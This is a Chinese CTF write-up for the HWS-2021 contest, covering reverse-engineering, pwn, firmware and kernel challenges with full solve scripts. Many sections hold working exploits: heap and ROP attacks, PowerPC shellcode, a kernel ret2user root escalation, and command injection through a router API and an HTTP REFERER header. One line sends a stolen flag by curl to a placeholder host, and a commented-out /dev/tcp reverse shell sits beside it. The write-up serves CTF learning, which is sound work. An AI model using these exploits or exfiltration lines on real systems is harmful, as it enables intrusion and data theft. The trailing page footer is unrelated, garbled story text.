HWS-2021部分題解

RE

obfu

將輸入的字符串轉(zhuǎn)化為16進制后存儲。
((input[(i+15) % 16] << 5) & 0xE0) | ((input[i % 16] >> 3) & 0x1F) -> input1
input1作為明文,admin_sha256前16字節(jié)作為key,rc4加密 -> enc_res
enc_res作為明文判没,admin_sha256前16字節(jié)作為key, AES_decrypt,得到的結(jié)果再與admin_sha256后16字節(jié)逐字節(jié)異或 -> out
out 與 admin_md5 進行 memcmp。
大致的流程就是這樣扶踊,反過來解密就行。
解密腳本如下:

#coding:utf-8
from Crypto.Cipher import ARC4, AES
from binascii import b2a_hex, a2b_hex
import hashlib
admin_sha256 = '\x8c\x69\x76\xe5\xb5\x41\x04\x15\xbd\xe9\x08\xbd\x4d\xee\x15\xdf\xb1\x67\xa9\xc8\x73\xfc\x4b\xb8\xa8\x1f\x6f\x2a\xb4\x48\xa9\x18'
admin_sha256_or = '\x8C\xE5\x1F\x93\x50\xF4\x45\x11\xA8\x54\xE1\xB5\xF0\xA3\xFB\xCA\x6E\xD6\xCE\x61\xBB\x8F\xB7\xF3\x10\xB7\x70\x45\x9E\xFC\xE1\xB1'
admin_sha256_b16 = admin_sha256_or[0:16]
admin_sha256_h16 = admin_sha256_or[16:]
def RC4_encrypt(key, content):
    rc41 = ARC4.new(key)
    encrypted = rc41.encrypt(content)
    return encrypted
def RC4_decrypt(key, enc):
    rc41 = ARC4.new(key)
    data = rc41.decrypt(enc)
    return data
def Pad(b):
    # PKCS5
    BLOCK_SIZE = 16
    pad = lambda s: (s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE))
    raw = pad(str(b))
    return raw
def pkcs7padding(text):
    """明文使用PKCS7填充 """
    bs = 16
    length = len(text)
    bytes_length = len(text)
    padding_size = length if (bytes_length == length) else bytes_length
    padding = bs - padding_size % bs
    padding_text = chr(padding) * padding
    return text + padding_text
def AES_encrypt(key, content):
    aes = AES.new(key)
    encrypted = aes.encrypt((content))
    return encrypted
def AES_decrypt(key, enc):
    aes = AES.new(key)
    data = aes.decrypt(enc)
    return data
md5_admin = '\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3'
or_md5_admin = ''
for i in range(len(md5_admin)):
    or_md5_admin += chr((ord(md5_admin[i]) ^ ord(admin_sha256_h16[i])) & 0xff)
enc_res = AES_encrypt(admin_sha256_b16, or_md5_admin)
input1 = RC4_decrypt(admin_sha256_b16, enc_res)
print(input1.encode('hex'))
input = ''
for i in range(len(input1)):
    input += chr(((ord(input1[i % 16]) & 0x1f) << 3) | ((ord(input1[(i+1) % 16]) & 0xe0) >> 5))
print(input.encode('hex')) 

decryption

加密邏輯很簡單郎任,一看就會秧耗。直接爆破就完事了。

#include <stdio.h>
#include <string.h>
char encrypt(char flag_char, char idx)
{
    char result;
    char v3;
    do
    {
        v3 = 2 * (idx & flag_char);
        flag_char ^= idx;
         idx = v3;
    }
    while ( v3 );
    result = flag_char ^ 0x23;
    
    return result;
}
int main()
{
    char enc[50] = "\x12\x45\x10\x47\x19\x49\x49\x49\x1A\x4F\x1C\x1E\x52\x66\x1D\x52\x66\x67\x68\x67\x65\x6F\x5F\x59\x58\x5E\x6D\x70\xA1\x6E\x70\xA3";
    char msg[100] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char flag[50] = "0";
    char tmp, idx, out, chr;
    char i;
    
    for(idx = 0; idx < 32; idx ++)
    {
        for(i=0; i<strlen(msg); i++)
        {
            if(encrypt(msg[i], idx) == enc[idx])
            {
                printf("%c", msg[i]);
                break;
            }
        }
        if(i == strlen(msg))
            printf("\n idx = %d, not find\n", idx);
    }
}

babyre

似乎有個用戶態(tài)的內(nèi)核交互函數(shù)舶治,不是太看得懂分井,全程OD動調(diào)。
ZwSetInformationThread反調(diào)試霉猛,od直接過掉不執(zhí)行
發(fā)現(xiàn)程序動態(tài)展開了一段空間杂抽,解密邏輯在這里面。
用od把這段空間dump下來韩脏,OEP懶得找缩麸,直接設置成解密函數(shù)地址。dump下來用IDA逆向赡矢,發(fā)現(xiàn)是SM4加密,"Ez_5M4_C1pH@r!!!"為密鑰杭朱。網(wǎng)上找了個SM4解密程序,解一下就有flag吹散。
https://blog.csdn.net/jiujiederoushan/article/details/100122773

// Ez_5M4_C1pH@r!!! -> 457a5f354d345f433170484072212121
// part1: EA6358B78CE2A1E9C5298F53E8083259  34326230363162346362343163666138
// part2: AF1B67AED9DACFC472FFB1EC7673F306  39636137383034376264653138353665
// flag: 42b061b4cb41cfa89ca78047bde1856e

PWN

ememarm

off by null
可以分配0x20 / 0x30的chunk弧械, 利用off by null來修改tcache鏈,任意地址分配空民。
盲猜遠程是qemu起的刃唐,qemu起的話地址是不變的。但是和我本地的地址不一樣界轩,靠修改got表泄露出了libc基地址的低3位画饥。有了這個直接把free@got改成system就完事了。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
def start(content):
    p.sendafter('~~4268144\n', str(content))
def request(size, cx, cy, flag):
    if size == 0x20:
        p.sendlineafter('choice', str(1))
    else:
        p.sendlineafter('choice', str(4))
    p.sendafter('cx', str(cx))
    p.sendafter('cy', str(cy))
    p.sendlineafter('delete?', str(flag))
def edit(index, content):
    p.sendlineafter('choice', str(3))
    p.sendline(str(index))
    p.send(str(content))
def out():
    p.sendlineafter('choice', str(5))
debug = 0
# if debug == 0:
#     p = process(['qemu-aarch64-static','-L','.','./ememarm'])
# else:
#     p = process(['qemu-aarch64-static','-L','.','-g','1234','./ememarm'])
p = remote('183.129.189.60', 10034)
        
libc_base = 0x400084c000
system = libc_base + 0x3F2C8
free_hook = libc_base + 0x156630
puts_plt = 0x400740
        
payload = '/bin/sh'.ljust(0x10, '\x00')
start(payload)
        
request(0x30, 0, 0x41, 1) # 0
request(0x20, 0, 0x31, 1) # 1
request(0x20, 0, 0x31, 1) # 2 -> board
request(0x20, 0, 0x31, 1) # 3
        
edit(3, '\x00'*0x8+'\x31'.ljust(0x10,'\x00'))
edit(3, p64(0x412030))
        
request(0x20, 0, 0x31, 0)
request(0x20, '\x40', '\xc8\xf2\x86', 1) # free@got
        
# edit(3, '\x00')  # leak
out()
p.sendline('cat flag')
flag = p.recvuntil('\n', timeout=2)
print(flag)
        
p.interactive()

emarm

任意地址寫浊猾,在ememarm中已經(jīng)知道了libc基地址低3位抖甘,直接把system函數(shù)地址低3位拿過來把atoi@got改掉就完事了(ememarm第一天放,這題是第二天放的葫慎,直接把地址拿過來用了2333)

#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 0
# if debug == 0:
#     p = process(['qemu-aarch64-static','-L','.','./emarm'])
# else:
#     p = process(['qemu-aarch64-static','-L','.','-g','1234','./emarm'])
atoi_got = '4268064'
p = remote('183.129.189.60', 10012)
p.sendlineafter('passwd:\n', '\x001')
p.send(atoi_got)
p.sendafter('success', '\xc8\xf2\x86')
p.sendlineafter(' bye\n', 'sh')
p.interactive()

justcode

四次機會衔彻,前兩次分別泄露libc薇宠,stack,第三次寫入地址got艰额,第四次往got表寫入csu_gadget來ROP

#coding:utf-8
from pwn import *
context.log_level = 'debug'
def sendCode(code):
    for i in code:
        p.sendline(str(i))
def edit(id):
    p.sendlineafter("id:", str(int(id)))
def add(name):
    p.sendafter('name:', str(name))
    # sleep(0.1)
csu_gadget1 = 0x400EA0 #0x400E9A
elf = ELF('./justcode')
libc = ELF('./libc-2.23.so')
# p = process('./justcode', env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('183.129.189.60', 10041)

sendCode([1, 1, 1, 2])
add('a'*8)
p.recvuntil('a'*8)
libc_code = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x7b60e -0x10
print('-----libc:', hex(libc_code))
pop_rdi_ret = libc_code + 0x21112#0x0000000000021102 # 0x21112
pop_rsi_ret = libc_code + 0x202f8#0x00000000000202e8 # 0x202f8
pop_rdx_ret = libc_code + 0x0000000000001b92
pop_rdx_rsi_ret = libc_code + 0x115189#0x00000000001150c9 # 0x115189
ret = libc_code + 0x0000000000000937
pop_rax_ret = libc_code + 0x000000000003a738#0x0000000000033544 # 0x000000000003a738
pop_rdi_rbp_ret = libc_code + 0x000000000002026b#0x0000000000020256 # 0x000000000002026b

add('a'*0x28)
p.recvuntil('a'*0x28)
ret = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x40 + 8
print('-----ret:', hex(ret))
# fd = open("flag", O_RDONLY)
# read(fd, store, 0x50)
# write(1, store, 0x50)
flag = ret - 0x18
rop = p64(pop_rdi_ret)+p64(flag) + p64(pop_rsi_ret)+p64(0) + p64(libc_code+libc.sym['open'])
rop += p64(pop_rdi_ret)+p64(3) + p64(pop_rdx_rsi_ret)+p64(0x50)+p64(0x6020e0) + p64(libc_code+libc.sym['read'])
rop += p64(pop_rdi_ret)+p64(1) + p64(libc_code+libc.sym['write'])
rop += 'flag\x00'
print(hex(len(rop)))
add(p64(pop_rax_ret)+p32(elf.got['puts'])*2 + rop)
edit(pop_rdi_ret & 0xffffffff)

p.interactive()

undlcv

令人很想吐槽的一道題
off_by_null
修改prev_size并且利用off_by_null 修改下一個chunk的PREV_INUSE標志位澄港,unlink,將bss段上存儲第一個chunk地址改為它本身-0x18.
這時還剩下三次edit的機會柄沮。一次修改bss段上的數(shù)據(jù)并且填充虛假的dl-resolve時用到的信息慢睡,第二次修改.dynamic里的DT_STRTAB / DT_SYMTAB里的信息,最后一次修改got表铡溪,讓程序執(zhí)行這個函數(shù)的時候進入dl-resolve流程漂辐,重定位到system函數(shù)。
令人吐槽的點來了棕硫,pwn進去了以后flag是root才能讀的髓涯??哈扮?后來才知道這里要用CVE-2019-14287 SUDO提權(quán)纬纪。。滑肉。

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def add(index):
    p.send('1'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))

def edit(index, content):
    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))
    p.send(str(content))
    sleep(0.1)

def delete(index):
    p.send('3'.ljust(0xa, '\x00'))
    p.send(str(index).ljust(0xa, '\x00'))

def magic():
    p.send('4'.ljust(0xa, '\x00'))

magic_malloc = 0x4014E1
free = 0x40145C
malloc = 0x04012C9
read = 0x401390
memset = 0x401222 

malloc_addr = 0x403480
fake_fd = malloc_addr - 8*3
fake_bk = malloc_addr - 8*2
pop_rdi_ret = 0x0000000000401613
pop_rsi_r15_ret = 0x0000000000401611
ret = 0x000000000040101a

p = 0

def exploit():
    global p
    elf = ELF('./undlcv')
    p = process('./undlcv')
    # p = remote('183.129.189.60', 10013)


    add(0)
    add(1)
    edit(0, p64(0)+p64(0xf1)+p64(fake_fd)+p64(fake_bk)+'\x00'*0xd0 + p64(0xf0))
    delete(1)


    
    offset = 0
    fake_symtab = p32(offset) + p32(0x12) + p32(0)*4  # 0x18 0x403490
    fake_strtab = 'system\x00'
    edit(0, (p64(0)*3+p64(elf.got['atoi'])+p64(0x04032A0) + fake_symtab + fake_strtab).ljust(0xf8))
    
    
    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(1).ljust(0xa, '\x00'))
    p.send(p64(0x5)+p64(0x403490 + len(fake_symtab)) + p64(0x6)+p64(0x403490 - 0x18))
    sleep(0.1)

    p.send('2'.ljust(0xa, '\x00'))
    p.send(str(0).ljust(0xa, '\x00'))
    p.send(p64(0x401030))
    sleep(0.1)
    
    # gdb.attach(p,'b*{}'.format(0x40124E)) 
    p.send('/bin/sh')

    p.interactive()

if __name__ == '__main__':
    exploit()

固件

NodeMce

strings 直接出

easymsg

個人感覺槽點超雞多的一道題
arm架構(gòu)包各,沒給libc,ok, fine靶庙,自己apt裝一個問題不大
逆向问畅,邏輯挺清楚,一看就會六荒,為了方便調(diào)試patch改了pthread和網(wǎng)卡名字
ifconfig指令獲得MAC地址
readFile指令把config.dat弄過來护姆,我感覺出題人應該是想弄個像路由器配置文件泄露一樣,但這題沒有任何背景掏击,強行弄上去只會讓人感到無厘頭卵皂。
CVE-2019-19822, 找了個網(wǎng)站獲得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html砚亭,config.dat泄露出賬號密碼
登陸灯变,命令注入執(zhí)行即可
本來以為當前目錄下就有flag,ls了一下發(fā)現(xiàn)flag是 /flagG1zjin
腳本如下

import zlib
from pwn import *
import base64

class Msg():
    def __init__(self, choice, content, ip, port):
        self.magic = 'HwsDDW'
        self.crc = self.cal_crc32(content)
        self.msg_len = 0x101
        self.choice = choice
        self.ip = ip
        self.port = port
        msg = self.magic
        msg += chr((self.msg_len >> 8) & 0xff) + chr(self.msg_len & 0xff)
        msg += chr((self.choice >> 8) & 0xff) + chr(self.choice & 0xff)
        msg += chr(self.crc >> 24) + chr((self.crc >> 16) & 0xff) + chr((self.crc >> 8) & 0xff) + chr((self.crc) & 0xff)
        msg += content
        self.msg = msg
    def cal_crc32(self, s):
        return zlib.crc32(str(s)) & 0xffffffff
    def send(self):
        p = remote(self.ip, self.port)
        context.log_level = 'debug'
        p.send(self.msg)
        ret = ''
        try:
            while True:
                tmp = p.recv(1024)
                if len(tmp) == 0:
                    break
                ret += tmp
        except:
            pass
        p.close()
        return ret
# 183.129.189.60 10016
# /home/messageBox/messageBox
remote_ip = '183.129.189.60'
remote_port = 10016
# get mac
info = base64.b64decode(Msg(0x102, 'ifconfig:'.ljust(0x101, '\x00'), remote_ip, remote_port).send())
info = info[info.index('tap'):]
info = info[info.index('ether ')+6:info.index('ether ')+6+17]
print(info)
mac = ''
for i in range(len(info)):
    if info[i] != ':':
        mac += str(info[i].upper())
print(mac)
# get config.dat
# cmd = 'readFile:./config.dat'
# msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
# data = base64.b64decode(msg.send())
# with open('config.dat', 'wb') as f:
#     f.write(data)

# login
msg = Msg(0x102, 'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101, '\x00'), remote_ip, remote_port)
msg.send()
# leaveName
cmd = 'leaveName:'+str(mac)+':a";echo `cat /flagG1zjin` > /tmp/out;echo "Fuck'
print(Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port).send())
# read flag
cmd = 'readFile:/tmp/out'
msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
print(base64.b64decode(msg.send()))

STM

stm32單片機的bin文件
https://www.cnblogs.com/panda-w/p/11548121.html
參考這個來反匯編
STM32存儲空間布局:https://blog.csdn.net/kevinhg/article/details/45599485
根據(jù)存儲空間調(diào)整下基地址捅膘,識別一下代碼逆一下就行, 就是一個簡單的異或 (如果有板子的話刷上去直接就有flag了)

enc = [0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,0x2E,0x64]
flag = ''
for i in enc:
  flag += chr((i ^ 0x1e)+3)
print(flag)
# flag{1749ac10-5389-11eb-90c1-001c427bd493}

PPPPPPC

PowerPc架構(gòu)的pwn
棧溢出添祸,寫入shellcode,會將寫入的內(nèi)容strcpy到bss段篓跛,不熟悉PowerPc匯編膝捞,一直卡在怎么讓shellcode沒有零字節(jié)。
后來還是放棄繞過零字節(jié)
利用出錯會將寄存器打印出來以及qemu棧地址不變愧沟,將遠程棧地址弄到手蔬咬,直接ret到棧上的shellcode

#coding:utf-8
from pwn import *
context(log_level = 'debug', arch='PowerPc', os='linux')
elf = ELF('./PPPPPPC')
port = '1234'
local = 0
debug = 1
if local:
    if debug:
        p = process(argv=['./qemu-ppc-static','-g',port,'./PPPPPPC'])
    else:
        p = process(argv=['./qemu-ppc-static','./PPPPPPC'])
else:
    p = remote('183.129.189.60',10039)
stack = 0x100B3390
# stack = 0xf6ffed70 - 0x138 + 8
stack = 0xf6fffbf0 - 0x138 + 8
shellcode = '7c631a783c60100b386333907c8422787ca52a787c8023787c86237838c6011768c6011c7cc0337844000002'.decode('hex')

'''
xor 3,3,3   
lis 3, 0x100B
addi 3, 3, 0x3390
xor 4,4,4
xor 5,5,5
mr 0, 4
mr 6, 4
addi 6, 6, 0x117
xori 6, 6, 0x11c
mr 0, 6
sc
'''

payload = ('/bin/sh\x00'+shellcode).ljust(0x138,'\x01')+p32(0) + p32(stack)
p.sendlineafter('name:', payload)
p.interactive()

httpd

給了個Boa/0.94.14rc21
沒給boa.conf,什么都沒給,就給了個可執(zhí)行文件沐寺,還得自己去官網(wǎng)下源碼從example中復制過來林艘。。混坞。
大致對比下源碼狐援,用下功能,發(fā)現(xiàn)多加了個登陸功能究孕,通過查找字符串找到驗證登陸的地址啥酱。
發(fā)現(xiàn)當密碼為Http-Server時有個命令注入漏洞。
登陸函數(shù)主要需要注意*(a1+104), *(a1+108)
查找字符串往上發(fā)現(xiàn)厨诸,*(a1+104)為REFERER字段镶殷,*(a1+108)為Authorization
驗證Authorization字段,格式為Basic+空格+base64encode("user:password")
REFERER字段命令注入微酬。
通過curl自己服務器绘趋,查看access.log來帶出flag
flag不在當前路徑,find一下或者ls | awk '{print $1}' | sed -n '2p' 來查找都隨意颗管。
最后flag在 /home/httpd/flag.txt

#coding:utf-8
from pwn import *
context.log_level = 'debug'
# qemu elf base -> 0xfffb9000
payload = '''GET / HTTP/1.1\r
Host: 183.129.189.60:10038\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r
Accept-Encoding: gzip, deflate\r
Connection: close\r
Cookie: platform=0\r
Upgrade-Insecure-Requests: 1\r
Authorization: Basic cm9vdDpIdHRwLVNlcnZlcg==\r
REFERER: 'a' > /tmp/out; curl http://xxx.xxx.xxx.xxx/`cat /home/httpd/flag.txt`;echo a\r
\r
'''
# bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10003 0>&1
# curl http://xxx.xxx.xxx.xxx/`find /hm -name "*fla*"`
# ls | awk '{print $1}' | sed -n '1p'
def recvmsg(p):
    msg = ''
    try:
        while True:
            tmp = p.recv(1024)
            if len(tmp) == 0:
                break
            msg += tmp
    except Exception as e:
        print(e)
    finally:
        pass
    return msg
for i in range(2):
    p = remote('183.129.189.60', 10038)
    # p = remote('127.0.0.1', 6259)
    
    p.send(payload)
    msg = recvmsg(p)
    print(msg)
    
    p.close()

blinkblink

給了一個路由器的固件陷遮,binwalk直接可解
解出來后,進etc_ro路徑看看rcS啟動文件垦江,發(fā)現(xiàn)自啟動了一個goahead的程序帽馋,這個路由器使用goahead作為web服務器。
吃虧在沒了解過goahead比吭,一般而言路由器漏洞更多出現(xiàn)在二次開發(fā)上茬斧,因此我直奔cgi-bin去看,結(jié)果發(fā)現(xiàn)需要身份認證才能訪問cgi-bin梗逮。
特別感謝lxonz師傅项秉,賽后向師傅詢問了下解法,才知道goahead還有g(shù)oform這個東西慷彤,在師傅的幫助下發(fā)現(xiàn)在main函數(shù)里面還有個formDefineCGIjson()函數(shù)娄蔼,里面定義了開發(fā)者自定義的處理函數(shù)。

1.png

這里面有個set_cmd字段十分引人注意底哗,逆向分析測試一下就能發(fā)現(xiàn)這個函數(shù)能夠任意命令執(zhí)行岁诉。
2.png

easyBios

同樣是賽后復現(xiàn)的,參考鏈接:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247493687&idx=1&sn=61dc031b706b9f430fbedb521ec9e485&chksm=e89dc0efdfea49f9e76940b10b9814da995d91ab6f35b2b86c9d2173dcff644e09d4b6cf6fe8&mpshare=1&scene=23&srcid=0204FDbwTy89AJ21x9NDUrWw&sharer_sharetime=1612397911458&sharer_shareid=8629bdafe886ed7f78e7c080c70b849d#rd

這里重點寫下如何將需要的PE文件提取出來跋选。

運行涕癣,出現(xiàn)getflag

1.png

binwalk -Me easybios 看看
2.png

發(fā)現(xiàn)了很多PE文件
提取這些PE文件可以參考https://www.52pojie.cn/thread-995219-1-1.html,使用uefi-firmware-parser工具來提取前标,但這個工具提取出來文件太多不好辯認坠韩,這里不用這個工具距潘。

binwalk并不會自動將這個多PE文件分開來,而是合在了一起只搁,名字叫840A8音比,把這個文件拖到winhex,直接搜索Wrong字符串氢惋,注意這里要選擇Unicode格式(比賽時用grep直接搜"Wrong"就死活沒搜到)洞翩,最終確定在偏移0x37F1B0處。結(jié)合binwalk剛剛分析的結(jié)果使用dd將PE文件提取出來焰望。dd if=840A8 of=out skip=xxx count=xxx bs=1

提取出來后放入IDA分析即可骚亿。


3.png

要求輸入32個0-f的字符,并將str轉(zhuǎn)化為hex
最后進行加密
加密邏輯很簡單熊赖,就是16個輸入的數(shù)字和16個固定的數(shù)字進行異或来屠。這16個固定的數(shù)字可以用qemu+gdb直接調(diào)試出來,也可以自己根據(jù)邏輯寫個程序算一下秫舌。

兩種方法都來了一下的妖,下面是解題程序
qemu+gdb直接把數(shù)字調(diào)試出來:

enc = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E"
a = "\xce\xcd\x98\xbb\x76\xda\x77\x02\x5c\x5d\x56\x0b\xc9\xb1\x50\x02"
flag = ''

for i in range(len(a)):
    flag += chr(ord(enc[i]) ^ ord(a[i]))

print(flag.encode('hex'))

# flag: 88baec0b5154f859b5851097bb567f5c

自己寫程序算一下:

#include <stdio.h>

char ovmf[0x500] = "OVMF_And_Easy_Bios";
char enc[0x500] = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E";

int main()
{
  int i, v6, v7, v8, v9;
  int v17[0x500];
  for ( i = 0; i != 256; ++i )
  {
    v17[i] = i;
    v17[i + 256] = ovmf[(int)i % 18];
  }
  v6 = 0;
  v7 = 0;
  do
  {
    v8 = v17[v6];
    v7 = (v17[v6 + 256] + v8 + v7) % 256;
    v9 = v17[v7];
    v17[v7] = v8;
    v17[v6++] = v9;
  }
  while ( v6 != 256 );
  int v10 = 0;
  int v11 = 0;
  int v12 = 0;
  int v13, v14, v15, result;
  do
  {
    v12 = (unsigned char)(v12 + 1);
    v13 = v17[v12];
    v14 = (v13 + v11) % 256;
    v15 = v17[v14];
    v17[v14] = v13;
    v11 = (v13 + v11) % 256;
    v17[v12] = v15;
    result = (unsigned int)v17[(v15 + v17[v14]) % 256];
    enc[v10++] ^= result;
  }
  while ( v10 != 16 );

  for(int i=0; i<16; i++)
  {
    printf("%02hhx", enc[i]);
  }
}

Kernel

dd_kernel

copy_from_user(void *to, const void __user *from, unsigned long n)
可以看到copy_from_user 中 n的類型為 unsigned long , 但是這個驅(qū)動里只對n低8bit數(shù)字大小進行了比較。讓n == 0x101即可繞過檢查足陨。之后就是內(nèi)核的棧溢出了嫂粟。SMEP / SMAP啥的保護都沒有開,直接ret2user就完事了

//64bits
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/types.h>
uint64_t (*commit_creds)(uint64_t kernel) = (uint64_t)0xffffffff8105d235;
uint64_t (*prepare_kernel_cred)(uint64_t kernel) = (uint64_t)0xffffffff8105d157;
uint64_t (*dou_stack_base)(uint64_t kernel) = (uint64_t)0xffffffffa0000000;
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));    // 保存狀態(tài)的結(jié)構(gòu)體
struct trap_frame status;     // 保存狀態(tài)
void templine()
{
    commit_creds(prepare_kernel_cred(0));
    asm(
        "swapgs\n"
        "mov $status,%rsp\n"
        "iretq"
        );
}
void shell()
{
    printf("[*] Get Root Shell!\n");
    system("/bin/sh");
}
void save()                  // 將狀態(tài)保存在status中
{
    asm(
        "mov %%ss, %0\n"
        "mov %%rsp, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%cs, %3\n"
        :"=r"(status.ss),"=r"(status.rsp),"=r"(status.rflags),"=r"(status.cs)
        :
        :"memory"
        );
    status.rip = shell;
}
// procfile_read -> ffffffffa000006d
// procfile_write -> ffffffffa0000000
int main()
{
    uint64_t rop[0x50];
    save();
    int fd = open("/proc/doudou", O_RDWR);
    if(fd <= 0)
    {
        err(1, "open device");
    }
    
    rop[0] = rop[1] = 0;
    rop[2] = (uint64_t)templine;
    write(fd, rop, 0x100);
    
}

easy_kernel

windows內(nèi)核驅(qū)動逆向
xp 虛擬機+virtualkd+windbg+ollydbg調(diào)試
先是DES加密墨缘,密鑰為"}aglf_T_"星虹,邏輯在驅(qū)動程序里
DES加密完畢后,ollydbg調(diào)一下發(fā)現(xiàn)跳入了0x401080, 進行了錯位異或操作
逆一下就行了

#coding:utf-8
# ee7b5d18  7d 61 67 6c 66 5f 54 5f-73 0e dc 19 44 5d 7b ee  }aglf_T_s...D]{.
# ee7b5d28  66 e3 89 f7 5c ff 12 00-80 a3 42 00 38 ff 12 00  f...\.....B.8...
# ee7b5c18  2c 2d 3b 2c 24 3b 06 0b-08 07 39 2c 1f 34 16 03  ,-;,$;....9,.4..
# ee7b5c28  07 35 39 19 04 37 34 07-0f 28 15 31 2d 0a 34 2f  .59..74..(.1-.4/
# 0012ff38  49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85  I.5J1...I.5J1...
# 0012ff48  49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85  I.5J1...I.5J1...

from Crypto.Cipher import DES
import hashlib
def encrypt_des(cipher):
    if cipher is None:
      return ""
    try:
        key = '}aglf_T_'
        # ECB方式
        generator = DES.new(key, DES.MODE_ECB)
        # 非8整數(shù)倍明文補位
        pad = 8 - len(cipher) % 8
        pad_str = ""
        for i in range(pad):
            pad_str = pad_str + chr(pad)
        # 加密
        encrypted = generator.encrypt(cipher + pad_str)
        return encrypted
    except Exception, e:
        print Exception, ":", e
        return ""
def decrypt_des(cipher):
    if cipher is None:
      return ""
    try:
        key = '}aglf_T_'
        # ECB方式
        generator = DES.new(key, DES.MODE_ECB)
        decrypted = generator.decrypt(cipher)
        return decrypted
    except Exception, e:
        print Exception, ":", e
        return ""
# def xor_encrypt(enc):
#   result = ''
#   for i in range(31):
#     result += chr(ord(enc[i]) ^ ord(enc[i+1]))
#   result += enc[31]
#   print(result.encode('hex'))
#   return result
enc = "\xB2\xC4\x86\xD5\x54\x6C\x38\xAD\xBD\x69\xD4\xE9\x44\x47\x36\x21\x99\x91\xFB\x13\x70\xD8\x6B\xE4\x80\x12\xE2\x43\x2A\x4B\x49\x8E"
rev = ''
rev += '\x8E'
for i in range(-2, -33, -1):
  rev += chr((ord(enc[i]) ^ ord(rev[abs(i)-2])) & 0xff)
rev = rev[::-1]
flag = decrypt_des(rev)
print(flag)
print(hashlib.md5('flag{WelcOme_to_kerne1_world!}').hexdigest())
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末镊讼,一起剝皮案震驚了整個濱河市宽涌,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌蝶棋,老刑警劉巖卸亮,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異玩裙,居然都是意外死亡兼贸,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進店門吃溅,熙熙樓的掌柜王于貴愁眉苦臉地迎上來溶诞,“玉大人,你說我怎么就攤上這事决侈÷莨福” “怎么了?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵,是天一觀的道長枉圃。 經(jīng)常有香客問我功茴,道長,這世上最難降的妖魔是什么讯蒲? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任痊土,我火速辦了婚禮肄扎,結(jié)果婚禮上墨林,老公的妹妹穿的比我還像新娘。我一直安慰自己犯祠,他們只是感情好旭等,可當我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著衡载,像睡著了一般搔耕。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上痰娱,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天弃榨,我揣著相機與錄音,去河邊找鬼梨睁。 笑死鲸睛,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的坡贺。 我是一名探鬼主播官辈,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼遍坟!你這毒婦竟也來了拳亿?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤愿伴,失蹤者是張志新(化名)和其女友劉穎肺魁,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體隔节,經(jīng)...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡鹅经,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
